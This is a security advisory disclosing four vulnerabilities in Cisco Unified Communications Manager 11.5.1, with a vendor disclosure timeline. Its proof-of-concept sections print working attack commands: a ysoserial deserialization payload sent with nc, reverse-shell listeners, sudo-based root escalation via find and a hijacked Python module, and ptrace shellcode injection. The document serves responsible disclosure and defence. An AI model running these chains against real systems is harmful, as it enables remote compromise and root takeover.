SYNACKTIV
DIGITAL SECURITY

Multiple vulnerabilities in Cisco Unified Communications Manager version 11.5.1

Security advisory

2024-01-24

Julien Egloff

Vulnerabilities description

The Cisco Unified Communications Manager

Enterprise unified communications and collaboration

Bring people together anytime, anywhere, and on any device with Cisco's integrated collaboration infrastructure for voice and video calling, messaging, and mobility.

The issues

Synacktiv discovered multiple vulnerabilities in the *Cisco Unified Communications Manager*:

- Arbitrary *Java* object deserialization through an unauthenticated service that can lead to remote code execution.
- Permissive *sudo* rights leading to privilege escalation from multiple users.
- Lack of updates on the underlying system. Multiple vulnerabilities can be exploited to elevate privileges.
- Insufficient *SELinux* policies allowing a confined user to escape its current context.

Using the different identified vulnerabilities from an authenticated context, it was possible to gain remote code execution, elevate privileges to *root* and then escape the *SELinux* context to get unconstrained access on the *Cisco UCM* appliance.

Affected versions

At the time this report is written, the version 11.5.1 is affected. The discovered vulnerabilities were not tested on newer major versions of *Cisco UCM*.

Timeline

Date	Action
2022/11/18	Advisory sent to *Cisco Product Security Incident Response*.
2022/11/18	Cisco acknowledges the report and says second and third findings are already known.
2022/12/22	Cisco could reproduce the first vulnerability.
2023/06/28	Cisco says the first vulnerability has been fixed in CUCM products (version 14SU3 and 12.5(1)SU8) but investigates the issue on other products. The fourth vulnerability has not been fixed yet.
2023/12/12	Cisco states that all issues will be fixed in CUCM release 15.
2024/01/24	Release of this advisory and the Cisco ones. CVE-2024-20253 assigned to first vulnerability.

Technical description and proof-of-concept

1. Arbitrary *Java* deserialization

While performing a security audit, a *Cisco UCM* instance version 11.5.1 with the *Cisco Unified Communications Manager IM and Presence* role was exposing a *Java Object Serialization* service:

```
$ nmap -Pn -sVC --open 10.10.10.10
Nmap scan report for 10.10.10.10
[...]
41160/tcp open java-object syn-ack ttl 61 Java Object Serialization
```

This service accepts any serialized *Java* object without requiring any authentication. As such, using certain *Java* objects may lead to interesting behavior from an attacker point of view. For example, the *CommonsBeanutils1* object is known by the application and allows executing arbitrary commands. This object can be crafted using *ysoserial* (https://github.com/frohoff/ysoserial):

```
$ java -jar ysoserial-all.jar CommonsBeanutils1 /tmp/commands.sh | nc -vv 10.10.10.10 41160
10.10.10.10 41160 (?) open
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
sent 2775, rcvd 4
```

The */tmp/commands.sh* file contains a reverse shell payload:

```
$ nc -vvnlp 443
listening on [any] 443 ...
connect to [10.20.20.20] from (UNKNOWN) [10.10.10.10] 32830
bash: no job control in this shell
bash: /root/.bashrc: Permission denied

bash-4.1$ id
uid=502(tomcat) gid=502(tomcat)
groups=502(tomcat),500(sftpuser),501(platform),505(informix),506(ccmbase),509(ccmsyslog),61
1(download) context=system_u:system_r:tomcatd_t:s0-s0:c0.c1023
```

It should be noted that not all audited appliances on version 11.5.1 were exposing the affected service and the auditors could not clearly identify which component was exposing it. Moreover, the listening TCP port is dynamic and a new value was observed after a reboot of the device.

2. Permissive sudo rights

The *sudoers* policy contains a large amount of rules:

```
# wc -l /etc/sudoers
1028
```

Amongst them, multiple users are authorized to execute commands allowing direct privilege escalation. For instance, below is the policy for the *tomcat* user:

```
$ sudo -l
Matching Defaults entries for tomcat on this host:
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE
LINGUAS _XKB_CHARSET XAUTHORITY", env_keep+="SSH_TTY SERVM_CONF_DIR TOMCAT_HOME TERM SHELL
INFORMIXTMP CATALINA_HOME TOMCAT_CLASSPATH LD_* PATH INSTALL_OLDPASSWORD INSTALL_CONTROL
JAVA_HOME INFORMIXDIR DB_LOCALE PYTHONPATH CLASSPATH CATALINA_OPTS INSTALL_USER
INSTALL_PASSWORD INSTALL_SALT LAST_DBLENV_PREFIX UC_APIFW_HOME ODBCINI INFORMIXSERVER
SR_MGR_CONF_DIR INFORMIXCONTIME ADMIN_PASSWORD FET_BUF_SIZE IFX_LOCK_MODE_WAIT SD_LIB_PATH
SR_AGT_CONF_DIR CATALINA_* JAVA_OPTS SNMP_USER SNMP_AUTHPROTO SNMP_AUTHPASS SNMP_PRIVPROTO
SNMP_PRIPASS SNMP_ACCESS SNMP_HOST SNMP_HOST1 SNMP_HOST2 PARAM_COUNT UPDATE_USER
UPDATE_AUTHPROTO UPDATE_AUTHPASS UPDATE_PRIVPROTO UPDATE_PRIPASS UPDATE_ACCESS UPDATE_HOST
UPDATE_HOST1 UPDATE_HOST2 UPDATE_PARAM_COUNT WGET_CMD WGET_USER WGET_AUTHPROTO
WGET_AUTHPASS WGET_PRIVPROTO WGET_PRIPASS WGET_IP WGET_OBJID ILOG_* TAOS_PASSWORD
deployment* hardware* ipd* is* prod*"

User tomcat may run the following commands on this host:
    (sftpuser) NOPASSWD: /usr/bin/sftp ?*, (sftpuser) /home/sftpuser/sftp_knownhosts.exp,
(sftpuser) /home/sftpuser/sftp_password.exp
    (root) NOPASSWD: /root/.security/ssh_PK_setup.sh
    (root) NOPASSWD: /root/.security/update_user_pwd.exp
    (xcpuser) NOPASSWD: /usr/local/xcp/bin/verifyExternalFileServerConnectivity.sh
    (xcpuser) NOPASSWD: /bin/df *
    (root) NOPASSWD: /usr/local/bin/base_scripts/reboot.sh
    (root) NOPASSWD: /usr/local/bin/base_scripts/grub_swap.sh
  [...]
    (root) NOPASSWD: /bin/dd
    (root) NOPASSWD: /usr/bin/find
```

Many of the allowed commands can be abused to execute other commands (https://gtfobins.github.io/). For example, the *find* command was used to elevate privileges:

```
$ sudo find . -exec /bin/sh \; -quit
# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:tomcatd_t:s0-s0:c0.c1023
```

Moreover, multiple environment variables are allowed by the *sudoers* policy, this could be abused to alter the execution of commands relying on them. For instance, the *PYTHONPATH* variable is allowed and multiple *Python* scripts are present in the *sudoers* policy:

```
# egrep -c '\.py$' /etc/sudoers
75
```

The *xcpuser* is allowed to run the */usr/local/cm/bin/getdbname.py* script which imports the *re* module. The *PYTHONPATH* variable allows modifying the path the Python interpreter will search packages in, and replace the legitimate *re* package to execute arbitrary code:

```
$ cat re.py
import os

def compile(s):
    print('Running shell')
    os.system('/bin/sh')
$ export PYTHONPATH=$PWD
$ sudo /usr/local/cm/bin/getdbname.py
Inside getdbnameFromodbc...
Running shell
# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_t:s0-
s0:c0.c1023
```

3. Missing security updates

The underyling operating system of the *Cisco UCM* appliance is a *Red Hat* version 6.10:

```
# cat /etc/redhat-release
Red Hat Enterprise Linux Server release 6.10 (Santiago)

# uname -a
Linux voip-presence-sub01 2.6.32-754.36.1.el6.x86_64 #1 SMP Sat Nov 21 11:02:27 EST 2020
x86_64 x86_64 x86_64 GNU/Linux
```

This version is not maintained anymore (https://en.wikipedia.org/wiki/Red_Hat_Enterprise_Linux#RHEL_6) and multiple public vulnerabilities are affecting packages, such as CVE-2021-4034:

```
# pkexec --version
pkexec version 0.96

# ls -l $(which pkexec)
-rwsr-xr-x. 1 root root 22544 Feb  5  2019 /usr/bin/pkexec
```

Moreover, the *sudo* version used is also affected by CVE-2021-3156 (https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit):

```
# sudo -V
Sudo version 1.8.6p3
[...]
```

The exploitation of these vulnerabilities would allow elevating privileges to the *root* user from any user.

4. SELinux context escape

The *Cisco UCM* appliances are using the *Red Hat* operating system, which comes with *SELinux* mod security. Hardened configurations are enforced to ensure critical processes or files cannot be altered, even by the *root* user:

```
# ps auxwwwfZ | grep unconfined
system_u:system_r:unconfined_t:s0-s0:c0.c1023 ccmbase 13673 0.0  0.3 45316 12100 ? Sl 15:00
0:00  \_ /usr/local/sip/bin/EspLogger
system_u:system_r:unconfined_t:s0-s0:c0.c1023 xcpuser 7420 0.6  3.3 263224 132476 ? Ssl
10:28   2:06 /usr/local/xcp/bin/jabberd -P /usr/local/xcp/var/run/jabberd/jabberd.pid -c
/usr/local/xcp/etc/jabber.xml -B
# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:tomcatd_t:s0-s0:c0.c1023
```

However, two running processes are not protected (unconfined). With the previously gained privileges, the *ptrace* syscall can be used to:

1. Attach to one of the *unconfined* process.
2. Fork the process and leave the parent untouched to avoid any service disruption.
3. Inject a shellcode in the created child that will create a reverse shell.
4. Elevate privileges to *root* using a public exploit or by abusing permissive *sudo* rights.

The *jabberd* process was targeted using the following tool: https://github.com/laxa/Adun/tree/i686 and the following shellcode: https://shell-storm.org/shellcode/files/shellcode-883.html. Before compiling, the exploit requires the address of an *int 0x80* instruction in an executable area. The *libc* of the process was used for this gadget, its address can be retrieved by running *cat /proc/PID/maps*. Moreover, the relative address of this instruction in the *libc* can be recovered using *ROPGadget* (https://github.com/JonathanSalwan/ROPgadget):

```
$ ROPgadget --binary libc.so.6 | grep 'int 0x80'
[...]
0x0002a855 : int 0x80
```

This gadget address with the *libc* base address in the target process should be set at line 172 of the *inject.c* file:

```
void *ret =  (void *)0x2a855 + 0xff1000;
```

The targeted process being 32 bits, the *inject* binary should be compiled accordingly. The compilation was performed from *CentOS* version 6.10 to ensure *libc* and kernel compatibility:

```
$ gcc inject.c utils.h -m32 -std=c99 -o inject
```

The exploitation is performed using two different shells. The first one is obtained through the first vulnerability and exploitation of permissive *sudo* rights:

```
# ./inject -p 7420
[...]
[+] attaching to proccess ( id: 7420 )
[+] allocating memory
[+] [0xc0] syscall ret: 0x435000
[+] mem_addr: 0x435000
[+] [0xc0] syscall ret: 0x559000
[+] stack_addr: 0x559000
[+] copying shellcode ( 80 bytes )
[+] setting up child's stack
[+] starting new process
[+] [0x78] syscall ret: 0x4271
[+] ret_pid: 17009
[+] running shellcode
[+] detaching
[+] done
```

The second shell is unprivileged and was also obtained through the first vulnerability:

```
$ nc -vl 1337
Connection from 127.1.1.1 port 1337 [tcp/menandmice-dns] accepted
id
uid=900(xcpuser) gid=506(ccmbase)
groups=506(ccmbase),497(fuse),501(platform),502(tomcat),505(informix)
context=system_u:system_r:unconfined_t:s0-s0:c0.c1023
```

As described in 2. Permissive sudo rights (page 4), the *xcpuser* can run a *Python* script with a specific *PYTHONPATH* environment variable leading to unconfined *root* privileges:

```
$ export PYTHONPATH=$PWD
$ sudo /usr/local/cm/bin/getdbname.py
Inside getdbnameFromodbc...
Running shell
# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_t:s0-
s0:c0.c1023
```